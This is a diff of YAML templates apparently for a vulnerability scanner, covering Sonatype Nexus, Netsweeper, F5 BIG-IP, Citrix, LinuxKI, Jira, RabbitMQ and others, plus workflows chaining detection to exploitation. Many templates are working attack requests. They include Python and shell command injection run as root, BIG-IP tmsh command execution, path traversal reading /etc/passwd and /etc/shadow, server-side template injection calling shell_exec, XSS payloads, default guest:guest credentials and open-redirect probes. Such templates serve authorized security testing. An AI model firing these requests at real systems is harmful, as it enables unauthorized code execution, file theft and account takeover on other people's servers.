# reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
requests:
- method: POST
path:
- '{{BaseURL}}/rest/beta/repositories/go/group'
headers:
Content-Type: application/json
body: '{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ 1337 * 1337 }"]}}'
matchers-condition: and
matchers:
- type: word
words:
- "1787569"
part: body
- type: status
status:
- 400
+24
View File
@@ -0,0 +1,24 @@
id: CVE-2020-10204
info:
name: Sonatype Nexus Repository RCE
auhtor: hetroublemakr
severity: high
# reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
requests:
- method: POST
path:
- '{{BaseURL}}/extdirect'
body: '{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"[email protected]","status":"active","roles":["$\\c{1337*1337"]}],"type":"rpc","tid":28}'
matchers-condition: and
matchers:
- type: word
words:
- "1787569"
part: body
- type: status
status:
- 200
+41
View File
@@ -0,0 +1,41 @@
id: CVE-2020-13167
info:
name: Netsweeper WebAdmin unixlogin.php Python Code Injection
author: dwisiswant0
severity: critical
# This template exploits a Python code injection in the Netsweeper
# WebAdmin component's unixlogin.php script, for versions 6.4.4 and
# prior, to execute code as the root user.
# Authentication is bypassed by sending a random whitelisted Referer
# header in each request.
# Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
# Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
# been confirmed exploitable.
# References:
# - https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
# - https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
requests:
- method: GET
path:
# Payload on hex: echo "bm9uZXhpc3RlbnQ=" | base64 -d > /usr/local/netsweeper/webadmin/out
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%276563686f2022626d39755a5868706333526c626e513d22207c20626173653634202d64203e202f7573722f6c6f63616c2f6e6574737765657065722f77656261646d696e2f6f7574%27.decode%28%27hex%27%29%29%23&timeout=5"
- "{{BaseURL}}/webadmin/out"
headers:
Referer: "http://{{Hostname}}/webadmin/admin/service_manager_data.php"
User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
Connection: "close"
matchers-condition: and
matchers:
- type: word
words:
- "nonexistent"
part: body
- type: status
status:
- 200
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/gitlab/build_now%3Csvg/onload=alert(1337)%3E"
matchers-condition: and
matchers:
- type: status
status:
+2
View File
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}/_next/static/../server/pages-manifest.json"
matchers-condition: and
matchers:
- type: regex
regex:
+22
View File
@@ -0,0 +1,22 @@
id: CVE-2020-5405
info:
name: Spring Cloud Directory Traversal
author: Harsh Bothra
severity: High
# source:- https://nvd.nist.gov/vuln/detail/CVE-2020-5405
requests:
- method: GET
path:
- '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
+1
View File
@@ -10,6 +10,7 @@ requests:
path:
- "{{BaseURL}}:8080/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
- "{{BaseURL}}:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
matchers-condition: and
matchers:
- type: status
status:
+62
View File
@@ -0,0 +1,62 @@
id: CVE-2020-5902
info:
name: F5 BIG-IP TMUI RCE
author: madrobot & dwisiswant0
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
- "BIG-IP release ([\\d.]+)"
- "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
condition: or
part: body
- raw:
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
command=create%20cli%20alias%20private%20list%20command%20bash
- |
POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: {{Hostname}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
command=list%20%2Ftmp%2Fnonexistent
- |
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: {{Hostname}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
command=delete%20cli%20alias%20private%20list
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "h3ll0_w0Rld"
+27
View File
@@ -0,0 +1,27 @@
id: CVE-2020-7209
info:
name: LinuxKI Toolset 6.01 Remote Command Execution
author: dwisiswant0
severity: critical
# This template exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.
# The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.
# https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
requests:
- method: GET
path:
- "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=1%3Becho%20%22bm9uZXhpc3RlbnQ%3D%22%20%7C%20base64%20-d"
headers:
User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)"
matchers-condition: and
matchers:
- type: word
words:
- "nonexistent"
part: body
- type: status
status:
- 200
+5 -4
View File
@@ -2,18 +2,19 @@ id: CVE-2020-8115
info:
name: Revive Adserver XSS
author: madrobot
author: madrobot & dwisiswant0
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\""
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "alert(1337)"
- type: regex
part: body
regex:
- (?mi)window\.location\.replace\(".*alert\(1337\)
+34
View File
@@ -0,0 +1,34 @@
id: CVE-2020-8191
info:
name: Citrix ADC & NetScaler Gateway Reflected XSS
# Leads to RCE
author: dwisiswant0
severity: high
requests:
- raw:
- |
POST /menu/stapp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 96
Content-Type: application/x-www-form-urlencoded
X-NITRO-USER: xpyZxwy6
sid=254&pe=1,2,3,4,5&appname=%0a</title><script>alert(31337)</script>&au=1&username=nsroot
matchers-condition: and
matchers:
- type: word
words:
- "</title><script>alert(31337)</script>"
part: body
- type: status
status:
- 200
+32
View File
@@ -0,0 +1,32 @@
id: CVE-2020-8193
info:
name: Citrix unauthenticated LFI
author: pdteam
severity: high
# Source:- https://github.com/jas502n/CVE-2020-8193
# This template covers only detection part, use the above exploit for the exploit confirmation.
requests:
- raw:
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
X-NITRO-USER: xpyZxwy6
X-NITRO-PASS: xWXHUJ56
<appfwprofile><login></login></appfwprofile>
matchers-condition: and
matchers:
- type: word
words:
- "Set-Cookie: SESSID"
part: header
- type: status
status:
- 406
+34
View File
@@ -0,0 +1,34 @@
id: CVE-2020-8194
info:
name: Citrix ADC & NetScaler Gateway Reflected Code Injection
author: dwisiswant0
severity: high
requests:
- raw:
- |
GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: startupapp=st
Upgrade-Insecure-Requests: 1
matchers-condition: and
matchers:
- type: word
words:
- "<jnlp codebase=\"nonexistent.1337\">"
part: body
- type: word
words:
- "application/x-java-jnlp-file"
part: header
- type: status
status:
- 200
+6 -3
View File
@@ -2,7 +2,7 @@ id: CVE-2020-8512
info:
name: IceWarp WebMail XSS
author: pdnuclei
author: pdnuclei & dwisiswant0
severity: medium
# source:- https://www.exploit-db.com/exploits/47988
@@ -13,9 +13,12 @@ requests:
path:
- '{{BaseURL}}/webmail/?color="><svg/onload=alert(document.domain)>"'
- '{{BaseURL}}:32000/webmail/?color="><svg/onload=alert(document.domain)>"'
matchers-condition: and
matchers:
- type: word
words:
- "<svg/onload=alert(document.domain)>"
- "<svg/onload=alert(document.domain)>\"\">"
part: body
- type: status
status:
- 200
+4 -4
View File
@@ -8,8 +8,8 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{31330+'7'}}"
- "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{31330+'7'}}"
- "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}"
- "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"
matchers-condition: and
matchers:
- type: status
@@ -19,6 +19,6 @@ requests:
words:
- "MetaLinkContainer"
- "canonical"
- "31337"
- "22344"
condition: and
part: body
part: body
@@ -10,10 +10,10 @@ variables:
# relative path support is now added into nuclei engine for better UX.
jira: panels/detect-jira.yaml
jira-cve-1: cves/CVE-2018-20824.yaml
jira-cve-2: cves/CVE-2019-3399.yaml
jira-cve-3: cves/CVE-2019-11581.yaml
jira-cve-4: cves/CVE-2017-18101.yaml
jira_cve_1: cves/CVE-2018-20824.yaml
jira_cve_2: cves/CVE-2019-3399.yaml
jira_cve_3: cves/CVE-2019-11581.yaml
jira_cve_4: cves/CVE-2017-18101.yaml
logic:
|
@@ -23,9 +23,9 @@ logic:
# if above conditon retruns true, run all the below tempaltes.
# if above conditon fails, no tempaltes will be executed.
jira-cve-1()
jira-cve-2()
jira-cve-3()
jira-cve-4()
jira_cve_1()
jira_cve_2()
jira_cve_3()
jira_cve_4()
}
+2
View File
@@ -12,6 +12,8 @@ requests:
- '{{BaseURL}}:9200/_cat/indices?v'
- '{{BaseURL}}/_all/_search'
- '{{BaseURL}}:9200/_all/_search'
matchers-condition: and
matchers:
- type: word
words:
+6 -2
View File
@@ -1,8 +1,8 @@
id: jolokia instance
id: jolokia-instance
info:
name: Jolokia Version Disclosure
author: mavericknerd
author: mavericknerd & dwisiswant0
severity: low
requests:
@@ -10,10 +10,14 @@ requests:
path:
- '{{BaseURL}}/jolokia/version'
- '{{BaseURL}}:8080/jolokia/version'
matchers-condition: and
matchers:
- type: word
words:
- '"timestamp":'
- '"protocol":'
- '"agent":'
condition: and
- type: status
status:
- 200
+4 -4
View File
@@ -2,7 +2,7 @@ id: laravel-env
info:
name: Laravel .env file
author: pxmme1337
author: pxmme1337 & dwisiswant0
severity: medium
requests:
@@ -11,9 +11,9 @@ requests:
- "{{BaseURL}}/.env"
matchers-condition: and
matchers:
- type: word
words:
- "APP_NAME"
- type: regex
regex:
- "(?m)^APP_(NAME|ENV|KEY|DEBUG|URL)="
- type: status
status:
- 200
+1
View File
@@ -10,6 +10,7 @@ requests:
path:
- '{{BaseURL}}/manager/html'
- '{{BaseURL}}:8080/manager/html'
matchers-condition: and
matchers:
- type: word
words:
+1
View File
@@ -10,6 +10,7 @@ requests:
path:
- "{{BaseURL}}/.well-known/security.txt"
- "{{BaseURL}}/security.txt"
matchers-condition: and
matchers:
- type: status
status:
+1 -1
View File
@@ -10,7 +10,7 @@ requests:
- '{{BaseURL}}/Telerik.Web.UI.DialogHandler.aspx'
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers-codition: and
matchers-condition: and
matchers:
- type: status
status:
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/uploads/"
matchers-condition: and
matchers:
- type: status
status:
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/wp-json/wp/v2/users/"
matchers-condition: and
matchers:
- type: status
status:
+1
View File
@@ -31,6 +31,7 @@ requests:
- "{{BaseURL}}/{{Hostname}}.sql.zip"
- "{{BaseURL}}/{{Hostname}}.sql.z"
- "{{BaseURL}}/{{Hostname}}.sql.tar.z"
matchers-condition: and
matchers:
- type: binary
binary:
+16 -4
View File
@@ -2,16 +2,28 @@ id: exposed-docker-api
info:
name: Exposed Docker API
author: furkansenan
author: furkansenan & dwisiswant0
severity: informative
requests:
- method: GET
path:
- '{{BaseURL}}:2376/version'
- "http://{{Hostname}}/version"
- "http://{{Hostname}}:2376/version"
- "http://{{Hostname}}/v1.24/version"
- "http://{{Hostname}}:2376/v1.24/version"
matchers-condition: and
matchers:
- type: word
words:
- "Version"
- "Docker"
- "application/json"
part: header
- type: word
words:
- "KernelVersion"
- "BuildTime"
condition: and
part: body
- type: status
status:
- 200
+1
View File
@@ -7,6 +7,7 @@ requests:
- method: GET
path:
- '{{BaseURL}}:10250/pods'
matchers-condition: and
matchers:
- type: word
words:
+16
View File
@@ -0,0 +1,16 @@
id: rabbitmq-dashboard
info:
name: RabbitMQ Dashboard
author: fyoorer
severity: informative
requests:
- method: GET
path:
- '{{BaseURL}}'
matchers:
- type: word
words:
- "RabbitMQ Management"
part: body
@@ -3,8 +3,8 @@ id: front-page-misconfig
info:
name: FrontPage configuration information discloure
author: JTeles
severity: low
# reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
severity: info
# Reference: https://docs.microsoft.com/en-us/archive/blogs/fabdulwahab/security-protecting-sharepoint-server-applications
requests:
- method: GET
@@ -12,6 +12,7 @@ requests:
headers:
Content-Type: application/json
body: '{"email":"invalid","signUpContext":{},"secondaryEmail":"","usingNewUi":true}'
matchers-condition: and
matchers:
- type: word
words:
@@ -0,0 +1,29 @@
id: jira-unauthenticated-dashboards
# If public sharing is ON it allows users to share dashboards and filters with all users including
# those that are not logged in. Those dashboard and filters could reveal potentially sensitive information.
info:
name: Jira Unauthenticated Dashboards
author: TechbrunchFR
severity: Info
requests:
- method: GET
path:
- "{{BaseURL}}/rest/api/2/dashboard?maxResults=100"
matchers:
- type: word
words:
- 'dashboards'
- 'startAt'
- 'maxResults'
condition: and
# Remediation:
# Ensure that this permission is restricted to specific groups that require it.
# You can restrict it in Administration > System > Global Permissions.
# Turning the feature off will not affect existing filters and dashboards.
# If you change this setting, you will still need to update the existing filters and dashboards if they have already been
# shared publicly.
# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced.
@@ -0,0 +1,23 @@
id: jira-unauthenticated-popular-filters
info:
name: Jira Unauthenticated Popular Filters
author: TechbrunchFR
severity: Info
requests:
- method: GET
path:
- "{{BaseURL}}/secure/ManageFilters.jspa?filter=popular&filterView=popular"
matchers:
- type: word
words:
- 'filterlink_'
# Remediation:
# Ensure that this permission is restricted to specific groups that require it.
# You can restrict it in Administration > System > Global Permissions.
# Turning the feature off will not affect existing filters and dashboards.
# If you change this setting, you will still need to update the existing filters and dashboards if they have already been
# shared publicly.
# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced.
@@ -0,0 +1,18 @@
id: jira-unauthenticated-projects
info:
name: Jira Unauthenticated Projects
author: TechbrunchFR
severity: Info
requests:
- method: GET
path:
- "{{BaseURL}}/rest/api/2/project?maxResults=100"
matchers:
- type: word
words:
- 'projects'
- 'startAt'
- 'maxResults'
condition: and
@@ -0,0 +1,15 @@
id: jira-unauthenticated-user-picker
info:
name: Jira Unauthenticated User Picker
author: TechbrunchFR
severity: High
requests:
- method: GET
path:
- "{{BaseURL}}/secure/popups/UserPickerBrowser.jspa"
matchers:
- type: word
words:
- 'user-picker'
@@ -0,0 +1,27 @@
id: rabbitmq-default-admin
info:
name: RabbitMQ Default Credentials
author: fyoorer & dwisiswant0
severity: High
requests:
- method: GET
path:
- "{{BaseURL}}/api/whoami"
- "{{BaseURL}}:15672/api/whoami"
headers:
Authorization: "Basic Z3Vlc3Q6Z3Vlc3Q="
matchers-condition: and
matchers:
- type: word
words:
- "application/json"
part: header
- type: word
words:
- "{\"name\":\"guest\""
part: body
- type: status
status:
- 200
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}/?pp=env"
matchers-condition: and
matchers:
- type: word
words:
@@ -64,16 +64,19 @@ requests:
- "{{BaseURL}}/info"
- "{{BaseURL}}/jolokia"
- "{{BaseURL}}/jolokia/list"
- "{{BaseURL}}:8090/jolokia"
- "{{BaseURL}}:8090/jolokia/list"
- "{{BaseURL}}/loggers"
- "{{BaseURL}}/management"
- "{{BaseURL}}/mappings"
- "{{BaseURL}}/metrics"
- "{{BaseURL}}/threaddump"
- "{{BaseURL}}/trace"
matchers-condition: and
matchers:
- type: regex
- type: word
part: body
regex:
words:
- "method"
- "spring"
- "TYPE"
@@ -82,13 +85,17 @@ requests:
- "cron"
- "reloadByURL"
- "JMXConfigurator"
- "JMImplementation"
- "EnvironmentManager"
condition: or
- type: status
status:
- 200
- type: word
words:
- "X-Application-Context"
- "application/json"
- "application/vnd.spring-boot.actuator.v2+json"
- "hprof"
condition: or
part: header
@@ -0,0 +1,33 @@
id: bigip-config-utility
info:
name: BIG-IP Configuration Utility detected
author: dwisiswant0
severity: informative
requests:
- method: GET
path:
- "{{BaseURL}}/tmui/login.jsp"
- "{{BaseURL}}/tmui/tmui/login/welcome.jsp"
matchers:
- type: word
words:
- "Welcome to the BIG-IP"
- "Configuration Utility"
condition: and
part: body
- method: GET
path:
- "{{BaseURL}}/mgmt/tm/sys/management-ip"
matchers:
- type: word
words:
- "WWW-Authenticate: Basic realm"
- "Enterprise Manager"
condition: and
part: header
- type: word
words:
- "check your user-id and password and try again"
part: body
@@ -0,0 +1,26 @@
id: netsweeper-webadmin-detect
info:
name: Netsweeper WebAdmin detected
author: dwisiswant0
severity: informative
requests:
- method: GET
path:
- "{{BaseURL}}/webadmin/start/"
- "{{BaseURL}}/webadmin/tools/systemstatus_remote.php"
headers:
Referer: "http://{{Hostname}}/webadmin/admin/systemstatus_inc_data.php"
matchers-condition: and
matchers:
- type: regex
regex:
- "Version: ([\\d.]+)"
- "Powered by netsweeper"
- "Netsweeper Inc"
condition: or
part: body
- type: status
status:
- 200
+2
View File
@@ -11,6 +11,8 @@ requests:
regex:
- "amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
type: regex
matchers-condition: and
matchers:
- part: body
regex:
+2
View File
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: body
+2
View File
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: body
+2
View File
@@ -12,6 +12,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: body
+2
View File
@@ -9,6 +9,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: body
+2
View File
@@ -12,6 +12,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: regex
part: body
+1
View File
@@ -13,6 +13,7 @@ requests:
headers:
CQ-Handle: /content
CQ-Path: /content
matchers-condition: and
matchers:
- type: word
words:
+7 -2
View File
@@ -2,14 +2,19 @@ id: crlf-injection
info:
name: CRLF injection
author: nadino
author: melbadry9 & nadino
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/%0D%0ASet-Cookie:crlfinjection=crlfinjection"
- "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection" # Unicode bypass
- "{{BaseURL}}/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection" # unicode bypass
- "{{BaseURL}}/%0DSet-Cookie:crlfinjection=crlfinjection"
- "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"
- "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
- "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.." # Apache
- "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection" # CVE-2016-4975
matchers:
- type: regex
regex:
+1
View File
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- '{{BaseURL}}/email/[email protected]%27\"><svg/onload=alert(1337)>'
matchers-condition: and
matchers:
- type: status
status:
@@ -3,7 +3,7 @@ info:
name: Git config nginx off by slash
author: organiccrap
severity: medium
#https://twitter.com/Random_Robbie/status/1262676628167110656
# https://twitter.com/Random_Robbie/status/1262676628167110656
requests:
- method: GET
path:
@@ -0,0 +1,22 @@
id: IBM InfoPrint Directory Traversal
info:
name: IBM InfoPrint 4247-Z03 Impact Matrix Printer - Directory Traversal
author: Harsh Bothra
severity: Medium
# source:- https://www.exploit-db.com/exploits/47835
requests:
- method: GET
path:
- '{{BaseURL}}/./../../../../../../../../../../etc/shadow'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "root:::"
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
@@ -9,6 +9,7 @@ requests:
- method: GET
path:
- "{{BaseURL}}/filter/jmol/iframe.php?_USE=%22};alert(1337);//"
matchers-condition: and
matchers:
- type: status
status:
+7 -2
View File
@@ -2,7 +2,7 @@ id: open-redirect
info:
name: Open Redirect Detection
author: Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
severity: low
requests:
@@ -12,7 +12,12 @@ requests:
- "{{BaseURL}}/evil.com/"
- "{{BaseURL}}///;@evil.com"
- "{{BaseURL}}/////evil.com"
- "{{BaseURL}}/?next=evil.com&content=evil.com&counturl=evil.com&dest_url=evil.com&document=evil.com&domain=evil.com&download=evil.com&file=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&Page=evil.com&pageurl=evil.com&page_url=evil.com&picture=evil.com&referrer=evil.com&req=evil.com&request=evil.com&source=evil.com&src=evil.com&uri=evil.com&url=evil.com&_url=evil.com&target=evil.com&redirect=evil.com&redirectUrl=evil.com&redirectUri&rurl=evil.com&next=evil.com&redir=evil.com&to=evil.com&image_url=evil.com&return=evil.com&returnTo=evil.com&return_to=evil.com&return_path=evil.com&retUrl=evil.com&checkout_url=evil.com&continue=evil.com&continueTo=evil.com&url=evil.com&done=evil.com&uri=evil.com&proxy=evil.com"
- "{{BaseURL}}//evil.com/%2F.." # Node.js
- "{{BaseURL}}//evil.com/..;/css" # Tomcat
- "{{BaseURL}}/evil%E3%80%82com" # special char urlencoded
- "{{BaseURL}}/%5Cevil.com"
# common vulnerable parameters
- "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com"
matchers:
- type: regex
regex:
@@ -11,6 +11,7 @@ requests:
- "{{BaseURL}}/"
headers:
Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
matchers-condition: and
matchers:
- type: status
status:
+1 -1
View File
@@ -3,7 +3,7 @@ info:
name: Symfony Debug Mode
author: organiccrap
severity: high
#https://github.com/synacktiv/eos
# https://github.com/synacktiv/eos
requests:
- method: GET
path:
@@ -3,7 +3,7 @@ info:
name: Tomcat Manager Path Normalization
author: organiccrap
severity: info
#https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
# https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
requests:
- method: GET
path:
+15
View File
@@ -0,0 +1,15 @@
id: bigip-pwner-workflow
info:
name: F5 BIG-IP RCE Workflow
author: dwisiswant0
variables:
bigip_config_utility: technologies/bigip-config-utility-detect.yaml
bigip_cve_2020_5902: cves/CVE-2020-5902.yaml
logic:
|
if bigip_config_utility() {
bigip_cve_2020_5902()
}
+34
View File
@@ -0,0 +1,34 @@
id: jira-exploitaiton-workflow
info:
name: Jira Exploitaiton workflow
author: micha3lb3n
variables:
jira_detect: technologies/jira-detect.yaml
jira_signup: security-misconfiguration/jira-service-desk-signup.yaml
jira_projects: security-misconfiguration/jira-unauthenticated-projects.yaml
jira_dashboard: security-misconfiguration/jira-unauthenticated-dashboards.yaml
jira_filters: security-misconfiguration/jira-unauthenticated-popular-filters.yaml
jira_user_picker: security-misconfiguration/jira-unauthenticated-user-picker.yaml
jira_cve_1: cves/CVE-2019-8449.yaml
jira_cve_2: cves/CVE-2019-8451.yaml
jira_cve_3: cves/CVE-2017-9506.yaml
jira_cve_4: cves/CVE-2018-20824.yaml
jira_cve_5: cves/CVE-2019-3396.yaml
logic:
|
if jira_detect(){
jira_signup()
jira_projects()
jira_dashboard()
jira_filters()
jira_user_picker()
jira_cve_1()
jira_cve_2()
jira_cve_3()
jira_cve_4()
jira_cve_5()
}
+15
View File
@@ -0,0 +1,15 @@
id: liferay-rce-workflow
info:
name: Liferay RCE Workflow
author: dwisiswant0
variables:
liferay_portal: technologies/liferay-portal-detect.yaml
liferay_portal_cve: cves/CVE-2020-7961.yaml
logic:
|
if liferay_portal() {
liferay_portal_cve()
}
@@ -0,0 +1,15 @@
id: netsweeper-preauth-rce-workflow
info:
name: Netsweeper PreAuth RCE Workflow
author: dwisiswant0
variables:
netsweeper_webadmin: technologies/netsweeper-webadmin-detect.yaml
netsweeper_webadmin_cve_1: cves/CVE-2020-13167.yaml
logic:
|
if netsweeper_webadmin() {
netsweeper_webadmin_cve_1()
}
+15
View File
@@ -0,0 +1,15 @@
id: rabbitmq-workflow
info:
name: RabbitMQ Workflow
author: fyoorer
variables:
rabbitmq_dashboard: panels/rabbitmq-dashboard.yaml
rabbitmq_default_admin: security-misconfiguration/rabbitmq-default-admin.yaml
logic:
|
if rabbitmq_dashboard() {
rabbitmq_default_admin()
}
+21
View File
@@ -0,0 +1,21 @@
id: springboot-pwner-workflow
info:
name: Spring Boot Pwner
author: dwisiswant0
variables:
springboot: security-misconfiguration/springboot-detect.yaml
springboot_cve_2018_1271: cves/CVE-2018-1271.yaml
springboot_cve_2019_3799: cves/CVE-2019-3799.yaml
springboot_cve_2020_5410: cves/CVE-2020-5410.yaml
springboot_xxe: vulnerabilities/springboot-actuators-jolokia-xxe.yaml
logic:
|
if springboot() {
springboot_cve_2018_1271()
springboot_cve_2019_3799()
springboot_cve_2020_5410()
springboot_xxe()
}